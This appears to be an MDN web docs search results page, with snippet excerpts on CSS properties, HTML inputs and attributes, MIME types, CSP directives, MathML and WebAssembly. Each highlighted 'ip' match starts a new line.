border-radius - CSS: Cascading Style Sheets
the border-radius css property rounds the corners of an element's outer border edge. you can set a single radius to make circular corners, or two radii to make ell
iptical corners. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the radius applies to the whole background, even if the element has no border; the exact position of the cl
ipping is defined by the background-cl
ip property. the border-radius property does not apply to table elements when border-collapse is collapse. note: as with any shorthand property, individual sub-properties cannot inherit, such as in border-radius:0 0 inherit inherit, which would p...
...* global values */ border-radius: inherit; border-radius: initial; border-radius: unset; the border-radius property is specified as: one, two, three, or four <length> or <percentage> values. this is used to set a single radius for the corners. followed optionally by "/" and one, two, three, or four <length> or <percentage> values. this is used to set an additional radius, so you can have ell
iptical corners. values radius is a <length> or a <percentage> denoting a radius to use for the border in each corner of the border. it is used only in the one-value syntax. top-left-and-bottom-right is a <length> or a <percentage> denoting a radius to use for the border in the top-left and bottom-right corners of the element's box. it is used only in the two-value...
...in the bottom-right corner of the element's box. it is used only in the three- and four-value syntaxes. bottom-left is a <length> or a <percentage> denoting a radius to use for the border in the bottom-left corner of the element's box. it is used only in the four-value syntax. <length> denotes the size of the circle radius, or the semi-major and semi-minor axes of the ell
ipse, using length values. negative values are invalid. <percentage> denotes the size of the circle radius, or the semi-major and semi-minor axes of the ell
ipse, using percentage values. percentages for the horizontal axis refer to the width of the box; percentages for the vertical axis refer to the height of the box. negative values are invalid. for example: border-radius: 1em/5em; /* ... is ...
...And 5 more matches
display - CSS: Cascading Style Sheets
the display css property sets whether an element is treated as a block or inline element and the layout used for its children, such as flow layout, grid or flex. formally, the display property sets an element's inner and outer display types. the outer type sets an element's partic
ipation in flow layout; the inner type sets the layout of children. some values of display are fully defined in their own individual specifications; for example the detail of what happens when display: flex is declared is defined in the css flexible box model specification. see the table at the end of this document for all of the individual specifications. syntax the css display property is specified using keyword values. keyword values are grouped into six value categories: .container { display: [ <displa...
...ox. if an inline box follows, the run-in box becomes a block box. note: browsers that support the two value syntax, on finding the outer value only, such as when display: block or display: inline is specified, will set the inner value to flow. this will result in expected behavior; for example if you specify an element to be block, you would expect that the children of that element would partic
ipate in block and inline normal flow layout. inside <display-inside> these keywords specify the element's inner display type, which defines the type of formatting context that its contents are laid out in (assuming it is a non-replaced element). valid <display-inside> values: flow the element lays out its contents using flow layout (block-and-inline layout). if its outer display type...
...yout. inside <display-inside> these keywords specify the element's inner display type, which defines the type of formatting context that its contents are laid out in (assuming it is a non-replaced element). valid <display-inside> values: flow the element lays out its contents using flow layout (block-and-inline layout). ...
...And 5 more matches
mask - CSS: Cascading Style Sheets
the mask css shorthand property hides an element (partially or fully) by masking or cl
ipping the image at specific points. as well as the properties listed below, the mask shorthand also resets mask-border to its initial value. it is therefore recommended to use the mask shorthand rather than other shorthands or the individual properties to override any mask settings earlier in the cascade. this will ensure that mask-border has also been reset to allow the new styles to take effect. ...
...resets mask-border to its initial value. it is therefore recommended to use the mask shorthand rather than other shorthands or the individual properties to override any mask settings earlier in the cascade. this will ensure that mask-border has also been reset to allow the new styles to take effect. ...
...see mask-image. <masking-mode> sets t...
...And 5 more matches
overflow-block - CSS: Cascading Style Sheets
ding on the writing mode of the document. syntax /* keyword values */ overflow-block: visible; overflow-block: hidden; overflow-block: scroll; overflow-block: auto; /* global values */ overflow-block: inherit; overflow-block: initial; overflow-block: unset; the overflow-block property is specified as a single keyword chosen from the list of values below. values visible content is not cl
ipped and may be rendered outside the padding box's block start and block end edges. hidden content is cl
ipped if necessary to fit the block dimension in the padding box. no scrollbars are provided. scroll content is cl
ipped if necessary to fit in the block dimension in the padding box. browsers display scrollbars whether or not any content is actually cl
ipped. (this prevents scrollbars from app...
...overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. ...
...ks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valueautoapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/cl
ip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor cl
ipanimation typediscrete formal syntax visible | hidden | cl
ip | scroll | auto examples html <ul> <li><code>overflow-block:hidden</code> -- hides the text outside the box <div id="div1"> lorem
ipsum dolor sit amet, consectetur ad
ipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut al...
...And 5 more matches
vertical-align - CSS: Cascading Style Sheets
nteractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the vertical-align property can be used in two contexts: to vertically align an inline element's box inside its containing line box. ...
...equest. the vertical-align property can be used in two contexts: to vertically align an inline element's box inside its containing line box. ...
...'s box inside its containing line box. ...
...And 5 more matches
Live streaming web audio and video - Developer guides
rewalls or proxy servers. using streaming protocols the process of using the various protocols is reassuringly familiar if you are used to working with media over http. for example: <video src="rtsp://myhost.com/mymedia.format"> <!-- fallback here --> </video> media source extensions (mse) media source extensions is a w3c working draft that plans to extend htmlmediaelement to allow javascr
ipt to generate media streams for playback. allowing javascr
ipt to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams. for example, you could implement mpeg-dash using javascr
ipt while offloading the decoding to mse. note: time shifting is the process of consuming a live stream sometime after it happened. video streaming file formats a c...
...port across browsers. note: you can find a guide to encoding hls and mpeg-dash for use on the web at setting up adaptive streaming media sources. mpeg-dash dash stands for dynamic adaptive streaming over http and is a new format that has recently seen support added to chrome, and internet explorer 11 running on windows 8.1. it is supported via media source extensions which are used by javascr
ipt libraries such as dash.js. this approach allows us to download chunks of the video stream using xhr and "append" the chunks to the stream that's played by the <video> element. so for example, if we detect that the network is slow, we can start requesting lower quality (smaller) chunks for the next segment. this technology also allows an advertising segment to be appended/inserted into the stream...
...r the next segment. this technology also allows an advertising segment to be appended/inserted into the stream. note: you can also use webm with the mpeg dash adaptive streaming system. hls hls or http live streaming is a protocol invented by apple inc and supported on ios, safari and the latest versions of android browser / chrome. hls is also adaptive. hls can also be decoded using javascr
ipt, which means we can support the latest versions of firefox, chrome and internet explorer 10+. see this http live streaming javascr
ipt player. at the start of the streaming session, an extended m3u (m3u8) playlist is downloaded. this contains the metadata for the various sub-streams that are provided. streaming file format support browser dash hls opus (audio) fi...
...And 5 more matches
Writing forward-compatible websites - Developer guides
this page explains how to write websites that do not break when new browser versions are released. this is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke. it's not always possible to follow all of these, but following as many of them as possible will help future-proof your website. javascr
ipt prefix all global variable access in onfoo attributes with "window." when an event handler content attribute (onclick, onmouseover, and so forth) is used on html element, all name lookup in the attribute first happens on the element itself, then on the element's form if the element is a form control, then on the document, and then on the window (where the global variables you have defined are). for example, if you hav...
...y time you access a global variable in an event handler content attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it. if that happens, then suddenly your function stops being called. ...
... collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it. if that happens, then suddenly your function stops being called. this has happened mult
iple times to various sites already during the evolution of html5. ...
...And 5 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
each of the ways css color can be used in html. fortunately, adding color to your html is actually really easy to do, and you can add color to nearly anything. we're going to touch on most of what you'll need to know when using color, including a list of what you can color and what css properties are involved, how you describe colors, and how to actually use colors both in stylesheets and in scr
ipts. we'll also take a look at how to let the user pick a color. then we'll wrap things up with a brief discussion of how to use color wisely: how to select appropriate colors, keeping in mind the needs of people with differing visual capabilities. things that can have color at the element level, everything in html can have color applied to it. instead, let's look at things in terms of the kinds...
...border in that it doesn't get space set aside for it in the document (so it may overlap other content). it's generally used as a focus indicator, to show which element will receive input events. borders any element can have a border drawn around it. a basic element border is a line drawn around the edges of the element's content. see box properties in the box model to learn about the relationsh
ip between elements and their borders, and the article styling borders using css to learn more about applying styles to borders. you can use the border shorthand property, which lets you configure everything about the border in one shot (including non-color features of borders, such as its width, style (solid, dashed, etc.), and so forth. border-color specifies a single color to use for every s...
...along a circular color wheel representing the colors of the visible spectrum. saturation is a percentage of how much of the way between being a shade of gray and having the maximum possible amount of the given hue. as the value of luminance (or lightness) increases, the color transitions from the darkest possible to the brightest possible (from black to white). image courtesy of user sharkd on wik
ipedia, distributed under the cc by-sa 3.0 license. the value of the hue (h) component of an hsl color is an angle from red around through yellow, green, cyan, blue, and magenta (ending up back at red again at 360?) that identifies what the base color is. the value can be specified in any <angle> unit supported by css, including degrees (deg), radians (rad), gradians (grad), or turns (turn). but ...
...And 5 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
-popups-to-escape-sandbox: lets the sandboxed document open new windows without those windows inheriting the sandboxing. for example, this can safely sandbox an advertisement without forcing the same restrictions upon the page the ad links to. allow-same-origin: if this token is not used, the resource is treated as being from a special origin that always fails the same-origin policy. allow-scr
ipts: lets the resource run scr
ipts (but not create popup windows). allow-storage-access-by-user-activation : lets the resource request access to the parent's storage capabilities with the storage access api. allow-top-navigation: lets the resource navigate the top-level browsing context (the one named _top). allow-top-navigation-by-user-activation: lets the resource navigate the top-level br...
.... allow-top-navigation: lets the resource navigate the top-level browsing context (the one named _top). allow-top-navigation-by-user-activation: lets the resource navigate the top-level browsing context, but only if initiated by a user gesture. notes about sandboxing: when the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scr
ipts and allow-same-origin, as that lets the embedded document remove the sandbox attribute -- making it no more secure than not using the sandbox attribute at all. sandboxing is useless if the attacker can display content outside a sandboxed iframe -- such as if the viewer opens the frame in a new tab. such content should be also served from a separate origin to limit potential damage. the sand...
...d not use them in new content, and try to remove them from existing content. align the alignment of this element with respect to the surrounding context. frameborder the value 1 (the default) draws a border around this frame. the value 0 removes the border around this frame, but you should instead use the css property border to control <iframe> borders. longdesc a url of a long descr
iption of the frame's content. due to widespread misuse, this is not helpful for non-visual browsers. marginheight the amount of space in pixels between the frame's content and its top and bottom borders. marginwidth the amount of space in pixels between the frame's content and its left and right borders. scrolling indicates when the browser should provide a scrollbar for the frame: ...
...And 5 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
yy-mm-ddthh:mm. when the above value submitted to the server, for example, it will look like partydate=2017-06-01t08:30. note: also bear in mind that if such data is submitted via http get, the colon character will need to be escaped for inclusion in the url parameters, e.g. partydate=2017-06-01t08%3a30. see encodeuri() for one way to do this. you can also get and set the date value in javascr
ipt using the htmlinputelement.value property, for example: var datecontrol = document.queryselector('input[type="datetime-local"]'); datecontrol.value = '2017-06-01t08:30'; there are several methods provided by javascr
ipt's date that can be used to convert numeric date information into a properly-formatted string, or you can do it manually. for example, the date.toisostring() method can be used f...
...everal methods provided by javascr
ipt's date that can be used to convert numeric date information into a properly-formatted string, or you can do it manually. for example, the date.toisostring() method can be used for this purpose. additional attributes in addition to the attributes common to all <input> elements, datetime-local inputs offer the following attributes: attribute descr
iption max the latest date and time to accept min the earliest date and time to accept step the stepping interval to use for this input, such as when clicking arrows on spinner controls or performing validation max the latest date and time to accept. if the value entered into the element is later than this timestamp, the element fails constraint valida...
...(gmt -9:30) taiohae</option> <option value="-09:00">(gmt -9:00) alaska</option> <option value="-08:00">(gmt -8:00) pacific time (us & canada)</option> ... </select> in either case, the date/time and time zone values would be submitted to the server as separate data points, and then you'd need to store them appropriately in the database on the server-side. note: the above code sn
ippet is taken from all world timezones in an html select element. validation by default, <input type="datetime-local"> does not apply any validation to entered values. the ui implementations generally don't let you enter anything that isn't a date/time -- which is helpful -- but a user might still fill in no value and submit, or enter an invalid date and/or time (e.g. the 32nd of april). you ca...
...And 5 more matches
<input type="search"> - HTML: Hypertext Markup Language
supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size. idl attributes value methods select(), setrangetext(), setselectionrange(). value the value attribute contains a domstring representing the value contained in the search field. ...
...rty in javascr
ipt. searchterms = mysearch.value; if no validation constraints are in place for the input (see validation for more details), the value can be any text string or an empty string (""). ...
...valid value is specified, the search input has no minimum length. the search field will fail constraint validation if the length of the text entered into the field is fewer than minlength utf-16 code units long. pattern the pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. it must be a valid javascr
ipt regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular express...
...And 5 more matches
<input type="time"> - HTML: Hypertext Markup Language
value a domstring containing the value of the time entered into the input. you can set a default value for the input by including a valid time in the value attribute when creating the <input> element, like so: <label for="appt-time">choose an appointment time: </label> <input id="appt-time" type="time" name="appt-time" value="13:30"> you can also get and set the date value in javascr
ipt using the htmlinputelement.value property, for example: var timecontrol = document.queryselector('input[type="time"]'); timecontrol.value = '15:30'; time value format the value of the time input is always in 24-hour format that includes leading zeros: hh:mm, regardless of the input format, which is likely to be selected based on the user's locale (or by the user agent). if the time includes s...
... at the html. this is simple enough, with the label and input as we've seen before, but with the addition of a <p> element with a <span> to display the value of the time input: <form> <label for="starttime">start time: </label> <input type="time" id="starttime"> <p> value of the <code>time</code> input: <code> "<span id="value">n/a</span>"</code>. </p> </form> the javascr
ipt code adds code to the time input to watch for the input event, which is triggered every time the contents of an input element change. when this happens, the contents of the <span> are replaced with the new value of the input element. var starttime = document.getelementbyid("starttime"); var valuespan = document.getelementbyid("value"); starttime.addeventlistener("input", function() { valuesp...
...e input is submitted, the value is encoded before being included in the form's data. the form's data entry for a time input will always be in the form name=hh%3amm, or name=hh%3amm%3ass if seconds are included (see using the step attribute). ...
...And 5 more matches
Global attributes - HTML: Hypertext Markup Language
ment is no longer html5-compliant. for example, html5-compliant browsers hide content marked as <foo hidden>...</foo>, even though <foo> is not a valid html element. in addition to the basic html global attributes, the following global attributes also exist: xml:lang and xml:base -- these are inherited from the xhtml specifications and deprecated, but kept for compatibility purposes. the mult
iple aria-* attributes, used for improving accessibility. the event handler attributes: onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncontextmenu, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninpu...
...fault to lowercase) on or sentences, the first letter of each sentence defaults to a capital letter; all other letters default to lowercase words, the first letter of each word defaults to a capital letter; all other letters default to lowercase characters, all letters should default to uppercase class a space-separated list of the classes of the element. classes allows css and javascr
ipt to select and access specific elements via the class selectors or functions like the method document.getelementsbyclassname(). contenteditable an enumerated attribute indicating if the element should be editable by the user. if so, the browser modifies its widget to allow editing. the attribute must take one of the following values: true or the empty string, which indicates that the elemen...
...pty string, which indicates that the element must be editable; false, which indicates that the element must not be editable. contextmenu the id of a <menu> to use as the contextual menu for this element. data-* forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation that may be used by scr
ipts. all such custom data are available via the htmlelement interface of the element the attribute is set on. the htmlelement.dataset property gives access to them. dir an enumerated attribute indicating the directionality of the element's text. it can have the following values: ltr, which means left to right and is to be used for languages that are written from the left to the right (like en...
...And 5 more matches
Common MIME types - HTTP
pe of documents, ordered by their common extensions. two primary mime types are important for the role of default types: text/plain is the default value for textual files. a textual file should be human-readable and must not contain binary data. application/octet-stream is the default value for all other cases. an unknown file type should use this type. browsers pay a particular care when man
ipulating these files, attempting to safeguard the user to prevent dangerous behaviors. iana is the official registry of mime media types and maintains a list of all the official mime types. this table lists some important mime types for the web: extension kind of document mime type .aac aac audio audio/aac .abw abiword document application/x-abiwo...
...rd the user to prevent dangerous behaviors. iana is the official registry of mime media types and maintains a list of all the official mime types. ...
...ent application/x-abiword .arc archive document (mult
iple files embedded) application/x-freearc .avi avi: audio video interleave video/x-msvideo .azw amazon kindle ebook format application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bz
ip archive application/x-bz
ip .bz2 bz
ip2 archive application/x-bz
ip2 .csh c-shell scr
ipt application/x-csh .css cascading style sheets (css) text/css .csv comma-separated values (csv) text/csv .doc microsoft word application/msword .docx microsoft word (openxml) application/vnd.openxmlformats-officedocument.
...And 5 more matches
CSP: navigate-to - HTTP
ion 3 directive type navigation directive default-src fallback no. not setting this allows anything. syntax one or more sources can be set for the navigate-to policy: content-security-policy: navigate-to <source>; content-security-policy: navigate-to <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<base64-value>'...
...And 5 more matches
CSP: style-src-attr - HTTP
the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<base64-value>'...
...And 5 more matches
CSP: style-src-elem - HTTP
the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<base64-value>'...
...And 5 more matches
CSP: style-src - HTTP
rective default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the style-src policy: content-security-policy: style-src <source>; content-security-policy: style-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<base64-value>'...
...And 5 more matches
CSP: worker-src - HTTP
the http content-security-policy (csp) worker-src directive specifies valid sources for worker, sharedworker, or serviceworker scr
ipts. csp version 3 directive type fetch directive fallback if this directive is absent, the user agent will first look for the child-src directive, then the scr
ipt-src directive, then finally for the default-src directive, when governing worker execution. chrome 59 and higher sk
ips the child-src directive. edge 17 sk
ips the scr
ipt-src directive (bug). syntax one or more sources can be allowed for the worker-src policy: content-security-policy: worker-src <source>; content-security-policy: worker-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts...
...the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. ...
... any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...And 5 more matches
MathML documentation index - MathML
the mathml <mlabeledtr> element is used to represent a label in a row either on the left or on the right side (determined using the side attribute on the <mtable> element). child elements of <mlabeledtr> must be <mtd> elements. the first child is the label whereas all other children are representing row contents and are treated identically to children of <mtr> elements. 19 <mmultiscr
ipts> mathml, mathml reference, mathml:element, mathml:scr
ipt and limit schemata the mathml <mmultiscr
ipts> element allows you to create tensor-like objects. in a descr
iptive way tensors are multidimensional matrices (mathematical imprecise but exemplified). the degree of a tensor depends on the dimensionality of a representative array. for example, a number is a 0-dimensional array, or a ...
...athematical imprecise but exemplified). the degree of a tensor depends on the dimensionality of a representative array. for example, a number is a 0-dimensional array, or a 0th-order tensor. a 1-dimensional array (e.g. vectors) is a 1st-order tensor and so 2nd-order tensors are needed to represent square matrices. to learn more about the mathematical background of tensors refer to the entry on wik
ipedia. 20 <mn> mathml, mathml reference, mathml:element, mathml:token elements the mathml <mn> element represents a numeric literal which is normally a sequence of digits with a possible separator (a dot or a comma). however, it is also allowed to have arbitrary text in it which is actually a numeric quantity, for example "eleven". 21 <mo> mathml, mathml referen...
... 21 <mo> mathml, mathml reference, mathml:element, mathml:token elements the mathml <mo> element represents an operator in a broad sense. besides operators in strict mathematical meaning, this element also includes "operators" like parentheses, separators like comma and semicolon, or "absolute value" bars. ...
...And 5 more matches
Optimizing startup performance - Web Performance
re development--even among those focusing on performance optimization--is startup performance. how long does your app take to start up? does it seem to lock up the device or the user's browser while the app loads? that makes users worry that your app is crashed, or that something else is wrong. it's always a good idea to take the time to ensure that your app starts up nicely. this article offers t
ips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the web. starting up nicely regardless of platform, it's always a good idea to start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a more important issue when building web apps: starti...
... this will prevent the app, browser, and/or device from appearing to have locked up. why is it important to be asynchronous? other than the reasons suggested above, consider the impact of a non-responsive page or user interface. the user is unable to cancel if they launched your app by mistake. if the app is being run in a browser, it's possible the user may get an "unresponsive app" or "slow scr
ipt" notification. you should present some kind of interface, such as a progress bar, so that the user knows how much longer they'll need to wait while your app starts up. where there's a will... if you're starting your project from scratch, it's usually pretty easy to just write everything the "right way," making appropriate bits of the code asynchronous. all pure startup calculations should be p...
...is currently running, depending on the operating environment. the source application might have a main loop that can easily be made to operate asynchronously (by running each main loop iteration separately); startup is often just a continuous, monolithic procedure that might periodically update a progress meter. while you can use web workers to run even very large, long-duration chunks of javascr
ipt code asynchronously, there's a huge caveat that: workers don't have access to webgl or audio, and they can't send synchronous messages to the main thread, so you can't even proxy those apis to the main thread. this all means that unless you can easily pull out the "pure calculation" chunks of your startup process into workers, you'll wind up having to run most or all of your startup code on the ...
...And 5 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
rface depending on the browser or device accessing the site to provide an optimized experience. one approach to this is to create different versions of your site/app for different platforms or browsers and serve them appropriately after detecting which browser or platform is looking at your site. but this is increasingly inefficient: browser sniffing is inherently error prone, and maintaining mult
iple copies of your code can turn out to be a nightmare. it is usually much better to create a single version of your code which doesn't care about what browser or platform is accessing the site, but instead uses feature tests to find out what code features the browser supports or what the values of certain browser features are, and then adjusts the code appropriately. this tends to be termed respo...
...rem; } x-card:nth-child(3) { width: 40%; float: left; height: 100%; overflow: auto; padding: 2rem; } so we're giving the first two columns a width of 30%, and the third a width of 40%, floating the columns all left. this way they end up side-by-side, and their proportions remain the same as the browser window size varies. this is just a simple grid example, but you can apply this princ
iple to more complex grid layouts as required. border-box sizing the padding does not affect the overall width and height of the containers because we have set the box-sizing of all elements to border-box: *, *:before, *:after { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } this basically means that width and height will now set the dimensions of an...
...ing clearing to guard against any float funny business). we've also altered the width of the images inside the third container (no longer a column -- this is the gallery) so that now you get five per line (it was previously three per line). narrow screen/mobile layout we then have a narrow screen layout, designed to fit the bill for a mobile app/open web app experience. this is created in mult
iple parts. first of all, as expected, there is a media query in our main css, which is quite weighty, so we'll go through it in parts: @media all and (max-width: 480px) { x-card:nth-child(1), x-card:nth-child(2), x-card:nth-child(3) { width: 100%; float: none; padding: 0; } button { margin-top: 0; border-radius: 0; } x-card:nth-child(1) video, x-card:nth-child(2) im...
...And 5 more matches
SVG Attribute reference - SVG: Scalable Vector Graphics
to reference documentation to help you learn which elements support them and how they work. ...
...ference documentation to help you learn which elements support them and how they work. ...
...tation to help you learn which elements support them and how they work. ...
...And 5 more matches
Index - WebAssembly
nd summary 1 webassembly landing, webassembly, wasm webassembly is a new type of code that can be run in modern web browsers -- it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++ with a compilation target so that they can run on the web. it is also designed to run alongside javascr
ipt, allowing both to work together. 2 caching compiled webassembly modules caching, indexeddb, javascr
ipt, module, webassembly, compile, wasm caching is useful for improving the performance of an app -- we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time. this article explains the best practices around this. ...
...dules caching, indexeddb, javascr
ipt, module, webassembly, compile, wasm caching is useful for improving the performance of an app -- we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time. this article explains the best practices around this. 3 compiling a new c/c++ module to webassembly c, c++, compiling, emscr
ipten, webassembly, wasm when you've written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscr
ipten. let's look at how it works. ...
... explains the best practices around this. 3 compiling a new c/c++ module to webassembly c, c++, compiling, emscr
ipten, webassembly, wasm when you've written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscr
ipten. let's look at how it works. 4 compiling an existing c module to webassembly c++, compiling, emscr
ipten, webassembly, wasm a core use-case for webassembly is to take the existing ecosystem of c libraries and allow developers to use them on the web. 5 compiling from rust to webassembly compiling, webassembly, rust, wasm if you've written some rust code, you can compile it into webassembly! this tutorial takes you through all you need to know to compile a rust project to...
...And 5 more matches
WebAssembly
webassembly is a new type of code that can be run in modern web browsers -- it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++, c# and rust with a compilation target so that they can run on the web. it is also designed to run alongside javascr
ipt, allowing both to work together. ...
...assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++, c# and rust with a compilation target so that they can run on the web. it is also designed to run alongside javascr
ipt, allowing both to work together. in a nutshell webassembly has huge implications for the web platform -- it provides a way to run code written in mult
iple languages on the web at near native speed, with client apps running on the web that previously couldn't have done so. webassembly is designed to complement and run alongside javascr
ipt -- using the webassembly javascr
ipt apis, you can load webassembly modules into a javascr
ipt app and share functionality between the two. this allows you to take advantage of webassembly's performance and power ...
...s on the web at near native speed, with client apps running on the web that previously couldn't have done so. webassembly is designed to complement and run alongside javascr
ipt -- using the webassembly javascr
ipt apis, you can load webassembly modules into a javascr
